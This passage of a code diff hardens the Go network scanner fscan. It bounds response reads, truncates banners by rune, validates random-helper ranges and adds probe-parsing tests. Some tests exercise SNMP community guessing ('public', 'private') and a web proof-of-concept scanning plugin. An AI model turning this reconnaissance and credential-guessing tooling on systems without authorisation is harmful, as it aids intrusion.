t.Fatalf("truncateRunes(50) = rune len %d value %q", len([]rune(got)), got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRedisTruncateTextTruncatesByRune(t *testing.T) {
|
||||
got := NewRedisPlugin().truncateText(strings.Repeat("界", 55))
|
||||
if !utf8.ValidString(got) || len([]rune(got)) != 53 {
|
||||
t.Fatalf("truncateText() = %q", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
//go:build !plugin_selective || (plugin_dns && plugin_tftp && plugin_bacnet && plugin_snmp)
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func TestDNSRootNSQueryAndResponse(t *testing.T) {
|
||||
const id uint16 = 0x1234
|
||||
|
||||
query := buildDNSRootNSQuery(id)
|
||||
if len(query) != 17 {
|
||||
t.Fatalf("query length = %d, want 17", len(query))
|
||||
}
|
||||
if got := binary.BigEndian.Uint16(query[0:2]); got != id {
|
||||
t.Fatalf("query id = %#x, want %#x", got, id)
|
||||
}
|
||||
if got := binary.BigEndian.Uint16(query[13:15]); got != 2 {
|
||||
t.Fatalf("query type = %d, want NS(2)", got)
|
||||
}
|
||||
|
||||
response := make([]byte, 12)
|
||||
binary.BigEndian.PutUint16(response[0:2], id)
|
||||
binary.BigEndian.PutUint16(response[2:4], 0x8183)
|
||||
binary.BigEndian.PutUint16(response[4:6], 1)
|
||||
binary.BigEndian.PutUint16(response[6:8], 2)
|
||||
binary.BigEndian.PutUint16(response[8:10], 3)
|
||||
binary.BigEndian.PutUint16(response[10:12], 4)
|
||||
|
||||
banner, ok := parseDNSResponse(response, id)
|
||||
if !ok {
|
||||
t.Fatal("expected DNS response to parse")
|
||||
}
|
||||
for _, want := range []string{"rcode=3", "qd=1", "an=2", "ns=3", "ar=4"} {
|
||||
if !strings.Contains(banner, want) {
|
||||
t.Fatalf("banner %q missing %q", banner, want)
|
||||
}
|
||||
}
|
||||
|
||||
if _, ok := parseDNSResponse(response, id+1); ok {
|
||||
t.Fatal("response with wrong id should not parse")
|
||||
}
|
||||
response[2] = 0
|
||||
if _, ok := parseDNSResponse(response, id); ok {
|
||||
t.Fatal("query packet should not parse as response")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTFTPRequestAndResponseParsing(t *testing.T) {
|
||||
req := buildTFTPReadRequest("probe")
|
||||
want := []byte{0, 1, 'p', 'r', 'o', 'b', 'e', 0, 'o', 'c', 't', 'e', 't', 0}
|
||||
if string(req) != string(want) {
|
||||
t.Fatalf("request = %v, want %v", req, want)
|
||||
}
|
||||
|
||||
if banner, ok := parseTFTPResponse([]byte{0, 3, 0, 1}); !ok || banner != "TFTP DATA response" {
|
||||
t.Fatalf("DATA parse = %q/%v", banner, ok)
|
||||
}
|
||||
if banner, ok := parseTFTPResponse([]byte{0, 5, 0, 1, 'n', 'o', 't', ' ', 'f', 'o', 'u', 'n', 'd', 0}); !ok || banner != "TFTP not found" {
|
||||
t.Fatalf("ERROR parse = %q/%v", banner, ok)
|
||||
}
|
||||
if banner, ok := parseTFTPResponse([]byte{0, 5, 0, 1, 0}); !ok || banner != "TFTP error response" {
|
||||
t.Fatalf("empty ERROR parse = %q/%v", banner, ok)
|
||||
}
|
||||
if _, ok := parseTFTPResponse([]byte{0, 9, 0, 1}); ok {
|
||||
t.Fatal("unknown opcode should not parse")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBACnetResponseParsing(t *testing.T) {
|
||||
data := []byte{0x81, 0x0a, 0x00, 0x08, 0x01, 0x20, 0x10, 0x00}
|
||||
if banner, ok := parseBACnetResponse(data); !ok || banner != "BACnet I-Am response" {
|
||||
t.Fatalf("BACnet parse = %q/%v", banner, ok)
|
||||
}
|
||||
if _, ok := parseBACnetResponse([]byte{0x81, 0x0a, 0x00, 0x09, 0x01, 0x20, 0x10, 0x00}); ok {
|
||||
t.Fatal("bad BACnet length should not parse")
|
||||
}
|
||||
if _, ok := parseBACnetResponse([]byte{0x82, 0x0a, 0x00, 0x06, 0x10, 0x00}); ok {
|
||||
t.Fatal("bad BACnet marker should not parse")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSNMPBuildersAndCommunityList(t *testing.T) {
|
||||
req := buildSNMPGetRequest("public", []int{1, 3, 6, 1, 2, 1, 1, 1, 0})
|
||||
if len(req) == 0 || req[0] != 0x30 {
|
||||
t.Fatalf("SNMP request should be an ASN.1 sequence, got %v", req)
|
||||
}
|
||||
if got := parseSNMPResponse(nil); got != "" {
|
||||
t.Fatalf("nil SNMP response = %q, want empty", got)
|
||||
}
|
||||
|
||||
cfg := common.NewConfig()
|
||||
cfg.Credentials.Passwords = []string{"private", "custom", "public"}
|
||||
communities := NewSNMPPlugin().buildCommunityList(cfg)
|
||||
if !containsString(communities, "public") || !containsString(communities, "private") || !containsString(communities, "custom") {
|
||||
t.Fatalf("community list missing expected entries: %v", communities)
|
||||
}
|
||||
if countString(communities, "public") != 1 || countString(communities, "private") != 1 {
|
||||
t.Fatalf("community list should deduplicate entries: %v", communities)
|
||||
}
|
||||
}
|
||||
|
||||
func containsString(values []string, target string) bool {
|
||||
return countString(values, target) > 0
|
||||
}
|
||||
|
||||
func countString(values []string, target string) int {
|
||||
count := 0
|
||||
for _, value := range values {
|
||||
if value == target {
|
||||
count++
|
||||
}
|
||||
}
|
||||
return count
|
||||
}
|
||||
@@ -64,10 +64,7 @@ func parseZooKeeperResponse(data []byte) (string, bool) {
|
||||
lower := strings.ToLower(resp)
|
||||
if strings.Contains(lower, "zookeeper") || strings.Contains(lower, "zk_version") ||
|
||||
strings.Contains(lower, "mode:") || strings.Contains(lower, "not in the whitelist") {
|
||||
if len(resp) > 200 {
|
||||
resp = resp[:200]
|
||||
}
|
||||
return resp, true
|
||||
return truncateRunes(resp, 200), true
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
@@ -2,7 +2,11 @@
|
||||
|
||||
package services
|
||||
|
||||
import "testing"
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
func TestParseZooKeeperResponse(t *testing.T) {
|
||||
banner, ok := parseZooKeeperResponse([]byte("imok"))
|
||||
@@ -13,4 +17,10 @@ func TestParseZooKeeperResponse(t *testing.T) {
|
||||
if _, ok := parseZooKeeperResponse([]byte("hello")); ok {
|
||||
t.Fatal("unexpected match for non-zookeeper response")
|
||||
}
|
||||
|
||||
longResp := "zk_version\t" + strings.Repeat("界", 205)
|
||||
banner, ok = parseZooKeeperResponse([]byte(longResp))
|
||||
if !ok || !utf8.ValidString(banner) || len([]rune(banner)) != 203 {
|
||||
t.Fatalf("zookeeper truncation = %q ok=%v", banner, ok)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
package web
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func TestMatchCDNorWAF(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
fingerprints []string
|
||||
want string
|
||||
}{
|
||||
{name: "empty", fingerprints: nil, want: ""},
|
||||
{name: "no match", fingerprints: []string{"nginx", "wordpress"}, want: ""},
|
||||
{name: "case insensitive cdn", fingerprints: []string{"site behind cloudflare"}, want: "CloudFlare"},
|
||||
{name: "chinese waf", fingerprints: []string{"命中安全狗防护"}, want: "安全狗"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if got := matchCDNorWAF(tt.fingerprints); got != tt.want {
|
||||
t.Fatalf("matchCDNorWAF(%v) = %q, want %q", tt.fingerprints, got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebPocEarlyReturnBranches(t *testing.T) {
|
||||
plugin := NewWebPocPlugin()
|
||||
if plugin == nil || plugin.Name() != "webpoc" {
|
||||
t.Fatalf("unexpected plugin: %#v", plugin)
|
||||
}
|
||||
|
||||
cfg := common.NewConfig()
|
||||
session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{})
|
||||
info := &common.HostInfo{Host: "example.com", Port: 80}
|
||||
|
||||
cfg.POC.Disabled = true
|
||||
disabled := plugin.Scan(context.Background(), info, session)
|
||||
if disabled.Success || disabled.Error == nil {
|
||||
t.Fatalf("disabled scan = %#v, want failed result with error", disabled)
|
||||
}
|
||||
|
||||
cfg.POC.Disabled = false
|
||||
cfg.POC.Full = false
|
||||
skipped := plugin.Scan(context.Background(), info, session)
|
||||
if !skipped.Success || !skipped.Skipped {
|
||||
t.Fatalf("non-full scan = %#v, want skipped success", skipped)
|
||||
}
|
||||
}
|
||||
+47
-9
@@ -24,6 +24,8 @@ import (
|
||||
"github.com/shadow1ng/fscan/webscan/lib"
|
||||
)
|
||||
|
||||
const maxWebTitleBodyBytes = 2 << 20
|
||||
|
||||
// 预编译正则表达式
|
||||
var (
|
||||
titleRegex = regexp.MustCompile(`(?i)<title[^>]*>([^<]+)</title>`)
|
||||
@@ -136,10 +138,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo,
|
||||
baseURL := webTitleURL(urlScheme, info.Host, info.Port)
|
||||
|
||||
// 选择对应的 HTTP 客户端
|
||||
clientNR, clientR := lib.ClientNoRedirect, lib.Client
|
||||
if isGM {
|
||||
clientNR, clientR = lib.ClientNoRedirectGM, lib.ClientGM
|
||||
}
|
||||
clientNR, clientR := webTitleHTTPClients(isGM)
|
||||
|
||||
// 构建显示用URL(隐藏标准端口)
|
||||
var displayURL string
|
||||
@@ -164,7 +163,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo,
|
||||
return "", 0, 0, "", nil, displayURL, err
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
body, err := readWebTitleBody(resp.Body)
|
||||
_ = resp.Body.Close()
|
||||
contentLen := len(body)
|
||||
if err != nil {
|
||||
@@ -196,7 +195,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo,
|
||||
reqRedirect.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
|
||||
respRedirect, err := clientR.Do(reqRedirect)
|
||||
if err == nil {
|
||||
bodyRedirect, err := io.ReadAll(respRedirect.Body)
|
||||
bodyRedirect, err := readWebTitleBody(respRedirect.Body)
|
||||
_ = respRedirect.Body.Close()
|
||||
if err == nil && len(bodyRedirect) > 0 {
|
||||
// 添加跳转后页面的指纹数据
|
||||
@@ -299,6 +298,34 @@ func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostIn
|
||||
WebScan.WebScan(ctx, info, config, session)
|
||||
}
|
||||
|
||||
func webTitleHTTPClients(isGM bool) (*http.Client, *http.Client) {
|
||||
if isGM {
|
||||
return firstHTTPClient(lib.ClientNoRedirectGM, defaultNoRedirectClient()), firstHTTPClient(lib.ClientGM, http.DefaultClient)
|
||||
}
|
||||
return firstHTTPClient(lib.ClientNoRedirect, defaultNoRedirectClient()), firstHTTPClient(lib.Client, http.DefaultClient)
|
||||
}
|
||||
|
||||
func firstHTTPClient(clients ...*http.Client) *http.Client {
|
||||
for _, client := range clients {
|
||||
if client != nil {
|
||||
return client
|
||||
}
|
||||
}
|
||||
return http.DefaultClient
|
||||
}
|
||||
|
||||
func defaultNoRedirectClient() *http.Client {
|
||||
return &http.Client{
|
||||
CheckRedirect: func(*http.Request, []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func readWebTitleBody(r io.Reader) ([]byte, error) {
|
||||
return io.ReadAll(io.LimitReader(r, maxWebTitleBodyBytes))
|
||||
}
|
||||
|
||||
// formatHeaders 将 HTTP Header 格式化为字符串
|
||||
func (p *WebTitlePlugin) formatHeaders(headers http.Header) string {
|
||||
var builder strings.Builder
|
||||
@@ -361,9 +388,7 @@ func (p *WebTitlePlugin) extractTitle(html string) string {
|
||||
title := strings.TrimSpace(matches[1])
|
||||
title = whitespaceRegex.ReplaceAllString(title, " ")
|
||||
|
||||
if len(title) > 100 {
|
||||
title = title[:100] + "..."
|
||||
}
|
||||
title = truncateRunes(title, 100)
|
||||
|
||||
if utf8.ValidString(title) {
|
||||
return title
|
||||
@@ -373,6 +398,19 @@ func (p *WebTitlePlugin) extractTitle(html string) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func truncateRunes(s string, maxRunes int) string {
|
||||
if maxRunes < 0 {
|
||||
return s
|
||||
}
|
||||
for i := range s {
|
||||
if maxRunes == 0 {
|
||||
return s[:i] + "..."
|
||||
}
|
||||
maxRunes--
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// fetchFaviconHash 下载 favicon.ico 并计算 hash
|
||||
func (p *WebTitlePlugin) fetchFaviconHash(ctx context.Context, baseURL string) fingerprint.FaviconHashes {
|
||||
// 构造 favicon URL
|
||||
|
||||
@@ -3,7 +3,9 @@ package web
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/shadow1ng/fscan/webscan/lib"
|
||||
)
|
||||
@@ -12,6 +14,14 @@ type faviconRoundTripper struct {
|
||||
called bool
|
||||
}
|
||||
|
||||
func TestExtractTitleTruncatesByRune(t *testing.T) {
|
||||
title := strings.Repeat("界", 105)
|
||||
got := NewWebTitlePlugin().extractTitle("<html><title>" + title + "</title></html>")
|
||||
if !utf8.ValidString(got) || len([]rune(got)) != 103 || !strings.HasSuffix(got, "...") {
|
||||
t.Fatalf("extractTitle() = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func (rt *faviconRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
rt.called = true
|
||||
<-req.Context().Done()
|
||||
@@ -56,3 +66,38 @@ func TestWebTitleURLUsesJoinHostPort(t *testing.T) {
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebTitleHTTPClientsFallbackWhenGlobalsNil(t *testing.T) {
|
||||
previousClient, previousNoRedirect := lib.Client, lib.ClientNoRedirect
|
||||
previousGM, previousNoRedirectGM := lib.ClientGM, lib.ClientNoRedirectGM
|
||||
lib.Client, lib.ClientNoRedirect = nil, nil
|
||||
lib.ClientGM, lib.ClientNoRedirectGM = nil, nil
|
||||
defer func() {
|
||||
lib.Client, lib.ClientNoRedirect = previousClient, previousNoRedirect
|
||||
lib.ClientGM, lib.ClientNoRedirectGM = previousGM, previousNoRedirectGM
|
||||
}()
|
||||
|
||||
clientNR, clientR := webTitleHTTPClients(false)
|
||||
if clientNR == nil || clientR == nil {
|
||||
t.Fatal("webTitleHTTPClients returned nil fallback client")
|
||||
}
|
||||
|
||||
req, err := http.NewRequest(http.MethodGet, "http://example.com", nil)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := clientNR.CheckRedirect(req, []*http.Request{req}); err != http.ErrUseLastResponse {
|
||||
t.Fatalf("no-redirect fallback error = %v, want http.ErrUseLastResponse", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadWebTitleBodyIsBounded(t *testing.T) {
|
||||
body := strings.NewReader(strings.Repeat("a", maxWebTitleBodyBytes+1024))
|
||||
got, err := readWebTitleBody(body)
|
||||
if err != nil {
|
||||
t.Fatalf("readWebTitleBody error = %v", err)
|
||||
}
|
||||
if len(got) != maxWebTitleBodyBytes {
|
||||
t.Fatalf("body len = %d, want %d", len(got), maxWebTitleBodyBytes)
|
||||
}
|
||||
}
|
||||
|
||||
+47
-5
@@ -113,8 +113,8 @@ func (s *ResultStore) Add(result interface{}) *ResultItem {
|
||||
if details, ok := m["details"].(map[string]interface{}); ok {
|
||||
item.Details = details
|
||||
if port, ok := details["port"]; ok {
|
||||
if item.Target != "" && !strings.Contains(item.Target, ":") {
|
||||
item.Target = fmt.Sprintf("%s:%v", item.Target, port)
|
||||
if target := targetWithDetailsPort(item.Target, port); target != "" {
|
||||
item.Target = target
|
||||
}
|
||||
}
|
||||
item.Status = buildStatusFromDetails(item.Type, item.Status, details)
|
||||
@@ -165,6 +165,37 @@ func (s *ResultStore) Add(result interface{}) *ResultItem {
|
||||
return &item
|
||||
}
|
||||
|
||||
func targetWithDetailsPort(target string, port interface{}) string {
|
||||
if target == "" {
|
||||
return ""
|
||||
}
|
||||
if strings.Contains(target, "://") || strings.ContainsAny(target, "/?#") {
|
||||
return ""
|
||||
}
|
||||
if _, _, ok := splitTargetHostPort(target); ok {
|
||||
return ""
|
||||
}
|
||||
if strings.Contains(target, ":") {
|
||||
hostForIP := target
|
||||
if strings.HasPrefix(hostForIP, "[") && strings.HasSuffix(hostForIP, "]") {
|
||||
hostForIP = strings.TrimPrefix(strings.TrimSuffix(hostForIP, "]"), "[")
|
||||
}
|
||||
if net.ParseIP(hostForIP) == nil {
|
||||
return ""
|
||||
}
|
||||
}
|
||||
portText := strings.TrimSpace(fmt.Sprint(port))
|
||||
portNum, err := strconv.Atoi(portText)
|
||||
if err != nil || portNum < 1 || portNum > 65535 {
|
||||
return ""
|
||||
}
|
||||
host := target
|
||||
if strings.HasPrefix(host, "[") && strings.HasSuffix(host, "]") {
|
||||
host = strings.TrimPrefix(strings.TrimSuffix(host, "]"), "[")
|
||||
}
|
||||
return net.JoinHostPort(host, portText)
|
||||
}
|
||||
|
||||
// List 获取所有结果
|
||||
func (s *ResultStore) List() []ResultItem {
|
||||
s.mu.RLock()
|
||||
@@ -444,14 +475,25 @@ func extractServiceInfo(details interface{}) (service, version, banner string) {
|
||||
}
|
||||
if b, ok := m["banner"].(string); ok {
|
||||
banner = escapeControlChars(b)
|
||||
if len(banner) > 100 {
|
||||
banner = banner[:100] + "..."
|
||||
}
|
||||
banner = truncateString(banner, 100)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func truncateString(s string, maxRunes int) string {
|
||||
if maxRunes < 0 {
|
||||
return s
|
||||
}
|
||||
for i := range s {
|
||||
if maxRunes == 0 {
|
||||
return s[:i] + "..."
|
||||
}
|
||||
maxRunes--
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// extractVulnType 从 details 中提取漏洞类型
|
||||
func extractVulnType(details interface{}) string {
|
||||
if m, ok := details.(map[string]interface{}); ok {
|
||||
|
||||
+44
-1
@@ -2,7 +2,10 @@
|
||||
|
||||
package api
|
||||
|
||||
import "testing"
|
||||
import (
|
||||
"testing"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
func TestExtractHostPortIPv6(t *testing.T) {
|
||||
tests := []struct {
|
||||
@@ -29,3 +32,43 @@ func TestExtractHostPortIPv6(t *testing.T) {
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestTargetWithDetailsPort(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
target string
|
||||
port interface{}
|
||||
want string
|
||||
}{
|
||||
{name: "hostname", target: "example.com", port: 443, want: "example.com:443"},
|
||||
{name: "ipv4", target: "192.168.1.1", port: "80", want: "192.168.1.1:80"},
|
||||
{name: "bare ipv6", target: "2001:db8::1", port: 8443, want: "[2001:db8::1]:8443"},
|
||||
{name: "bracketed ipv6", target: "[2001:db8::1]", port: 8443, want: "[2001:db8::1]:8443"},
|
||||
{name: "already has port", target: "[2001:db8::1]:8443", port: 9443, want: ""},
|
||||
{name: "invalid colon target", target: "example.com:abc", port: 80, want: ""},
|
||||
{name: "url target", target: "http://example.com", port: 80, want: ""},
|
||||
{name: "bad port", target: "example.com", port: 70000, want: ""},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if got := targetWithDetailsPort(tt.target, tt.port); got != tt.want {
|
||||
t.Fatalf("targetWithDetailsPort(%q, %v) = %q, want %q", tt.target, tt.port, got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractServiceInfoTruncatesBannerByRune(t *testing.T) {
|
||||
banner := ""
|
||||
for i := 0; i < 105; i++ {
|
||||
banner += "界"
|
||||
}
|
||||
_, _, got := extractServiceInfo(map[string]interface{}{"banner": banner})
|
||||
if !utf8.ValidString(got) {
|
||||
t.Fatalf("banner is not valid utf8: %q", got)
|
||||
}
|
||||
if len([]rune(got)) != 103 || got[len(got)-3:] != "..." {
|
||||
t.Fatalf("banner = %q, rune len %d", got, len([]rune(got)))
|
||||
}
|
||||
}
|
||||
|
||||
+39
-6
@@ -33,6 +33,8 @@ var (
|
||||
baseProgramOpt []cel.ProgramOption
|
||||
)
|
||||
|
||||
const maxPOCResponseBodyBytes = 8 << 20
|
||||
|
||||
// 包级POC配置(atomic 保证并发安全)
|
||||
var pocDNSLog atomic.Bool
|
||||
|
||||
@@ -386,6 +388,9 @@ func reverseCheck(r *Reverse, timeout int64) bool {
|
||||
|
||||
// RandomStr 生成指定长度的随机字符串
|
||||
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
|
||||
if n <= 0 || letterBytes == "" {
|
||||
return ""
|
||||
}
|
||||
const (
|
||||
// 用 6 位比特表示一个字母索引
|
||||
letterIdxBits = 6
|
||||
@@ -471,9 +476,9 @@ func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (*
|
||||
)
|
||||
|
||||
if redirect {
|
||||
oResp, err = Client.Do(req)
|
||||
oResp, err = requestClient(true).Do(req)
|
||||
} else {
|
||||
oResp, err = ClientNoRedirect.Do(req)
|
||||
oResp, err = requestClient(false).Do(req)
|
||||
}
|
||||
|
||||
// 标准TLS连接失败时,尝试国密TLS客户端
|
||||
@@ -484,15 +489,19 @@ func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (*
|
||||
}
|
||||
}
|
||||
if redirect {
|
||||
if oResp2, err2 := ClientGM.Do(req); err2 == nil {
|
||||
if clientGM := gmRequestClient(true); clientGM != nil {
|
||||
if oResp2, err2 := clientGM.Do(req); err2 == nil {
|
||||
oResp, err = oResp2, nil
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if oResp2, err2 := ClientNoRedirectGM.Do(req); err2 == nil {
|
||||
if clientGM := gmRequestClient(false); clientGM != nil {
|
||||
if oResp2, err2 := clientGM.Do(req); err2 == nil {
|
||||
oResp, err = oResp2, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
// HTTP请求失败,计为TCP失败
|
||||
@@ -513,6 +522,30 @@ func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (*
|
||||
return resp, err
|
||||
}
|
||||
|
||||
func requestClient(redirect bool) *http.Client {
|
||||
if redirect {
|
||||
if Client != nil {
|
||||
return Client
|
||||
}
|
||||
return http.DefaultClient
|
||||
}
|
||||
if ClientNoRedirect != nil {
|
||||
return ClientNoRedirect
|
||||
}
|
||||
return &http.Client{
|
||||
CheckRedirect: func(*http.Request, []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func gmRequestClient(redirect bool) *http.Client {
|
||||
if redirect {
|
||||
return ClientGM
|
||||
}
|
||||
return ClientNoRedirectGM
|
||||
}
|
||||
|
||||
// ParseURL 解析 TargetURL 并转换为自定义 TargetURL 类型
|
||||
func ParseURL(u *url.URL) *UrlType {
|
||||
return &UrlType{
|
||||
@@ -597,7 +630,7 @@ func ParseResponse(oResp *http.Response) (*Response, error) {
|
||||
// getRespBody 读取 HTTP 响应体并处理可能的 gzip 压缩
|
||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
// 读取原始响应体
|
||||
body, err := io.ReadAll(oResp.Body)
|
||||
body, err := io.ReadAll(io.LimitReader(oResp.Body, maxPOCResponseBodyBytes))
|
||||
if err != nil && !errors.Is(err, io.EOF) && len(body) == 0 {
|
||||
return nil, err
|
||||
}
|
||||
@@ -610,7 +643,7 @@ func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
}
|
||||
defer func() { _ = reader.Close() }()
|
||||
|
||||
decompressed, err := io.ReadAll(reader)
|
||||
decompressed, err := io.ReadAll(io.LimitReader(reader, maxPOCResponseBodyBytes))
|
||||
if err != nil && !errors.Is(err, io.EOF) && len(decompressed) == 0 {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"math/rand" //nolint:gosec // G404: math/rand用于生成POC测试数据,非加密用途
|
||||
|
||||
"github.com/google/cel-go/checker/decls"
|
||||
@@ -10,6 +11,8 @@ import (
|
||||
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
|
||||
)
|
||||
|
||||
const maxRandomStringLength = 4096
|
||||
|
||||
// registerRandomDeclarations 注册随机函数的CEL声明
|
||||
func registerRandomDeclarations() []*exprpb.Decl {
|
||||
return []*exprpb.Decl{
|
||||
@@ -46,12 +49,13 @@ func registerRandomImplementations() []*functions.Overload {
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to randomInt", rhs.Type())
|
||||
}
|
||||
min, max := int(from), int(to)
|
||||
if max <= min {
|
||||
return types.NewErr("randomInt: max(%d) must be greater than min(%d)", max, min)
|
||||
min, max := int64(from), int64(to)
|
||||
span, err := randomIntSpan(min, max)
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
//nolint:gosec // G404: 用于生成POC测试随机数,非加密用途
|
||||
return types.Int(rand.Intn(max-min) + min)
|
||||
return types.Int(rand.Int63n(span) + min)
|
||||
},
|
||||
},
|
||||
{
|
||||
@@ -61,7 +65,11 @@ func registerRandomImplementations() []*functions.Overload {
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomLowercase", value.Type())
|
||||
}
|
||||
return types.String(randomLowercase(int(n)))
|
||||
length, err := validateRandomStringLength(n)
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(randomLowercase(length))
|
||||
},
|
||||
},
|
||||
{
|
||||
@@ -71,7 +79,11 @@ func registerRandomImplementations() []*functions.Overload {
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomUppercase", value.Type())
|
||||
}
|
||||
return types.String(randomUppercase(int(n)))
|
||||
length, err := validateRandomStringLength(n)
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(randomUppercase(length))
|
||||
},
|
||||
},
|
||||
{
|
||||
@@ -81,8 +93,30 @@ func registerRandomImplementations() []*functions.Overload {
|
||||
if !ok {
|
||||
return types.ValOrErr(value, "unexpected type '%v' passed to randomString", value.Type())
|
||||
}
|
||||
return types.String(randomString(int(n)))
|
||||
length, err := validateRandomStringLength(n)
|
||||
if err != nil {
|
||||
return types.NewErr("%v", err)
|
||||
}
|
||||
return types.String(randomString(length))
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func randomIntSpan(min, max int64) (int64, error) {
|
||||
if max <= min {
|
||||
return 0, fmt.Errorf("randomInt: max(%d) must be greater than min(%d)", max, min)
|
||||
}
|
||||
const maxInt64 = int64(^uint64(0) >> 1)
|
||||
if min < 0 && max > maxInt64+min {
|
||||
return 0, fmt.Errorf("randomInt: range too large")
|
||||
}
|
||||
return max - min, nil
|
||||
}
|
||||
|
||||
func validateRandomStringLength(n types.Int) (int, error) {
|
||||
if n < 0 || n > maxRandomStringLength {
|
||||
return 0, fmt.Errorf("random string length must be between 0 and %d", maxRandomStringLength)
|
||||
}
|
||||
return int(n), nil
|
||||
}
|
||||
|
||||
@@ -109,12 +109,12 @@ func registerStringImplementations() []*functions.Overload {
|
||||
return types.NewErr("invalid length to 'substr'")
|
||||
}
|
||||
runes := []rune(str)
|
||||
if start < 0 || length < 0 || int(start+length) > len(runes) {
|
||||
if start < 0 || length < 0 || start > types.Int(len(runes)) || length > types.Int(len(runes))-start {
|
||||
return types.NewErr("invalid start or length to 'substr'")
|
||||
}
|
||||
return types.String(runes[start : start+length])
|
||||
return types.String(runes[int(start):int(start+length)])
|
||||
}
|
||||
return types.NewErr("too many arguments to 'substr'")
|
||||
return types.NewErr("invalid argument count to 'substr'")
|
||||
},
|
||||
},
|
||||
{
|
||||
|
||||
@@ -1,10 +1,12 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"compress/gzip"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"strings"
|
||||
"testing"
|
||||
@@ -258,6 +260,21 @@ func TestRandomInt(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRandomIntRejectsOverflowingRange(t *testing.T) {
|
||||
customLib := NewEnvOption()
|
||||
env, err := NewEnv(&customLib)
|
||||
if err != nil {
|
||||
t.Fatalf("创建 CEL 环境失败: %v", err)
|
||||
}
|
||||
|
||||
if _, err := Evaluate(env, "randomInt(-9223372036854775808, 9223372036854775807)", map[string]interface{}{}); err == nil {
|
||||
t.Fatal("Evaluate() error = nil, want randomInt range error")
|
||||
}
|
||||
if _, err := randomIntSpan(-9223372036854775807-1, 9223372036854775807); err == nil {
|
||||
t.Fatal("randomIntSpan() error = nil, want range too large")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRandomLowercase(t *testing.T) {
|
||||
customLib := NewEnvOption()
|
||||
env, err := NewEnv(&customLib)
|
||||
@@ -388,6 +405,26 @@ func TestRandomString(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
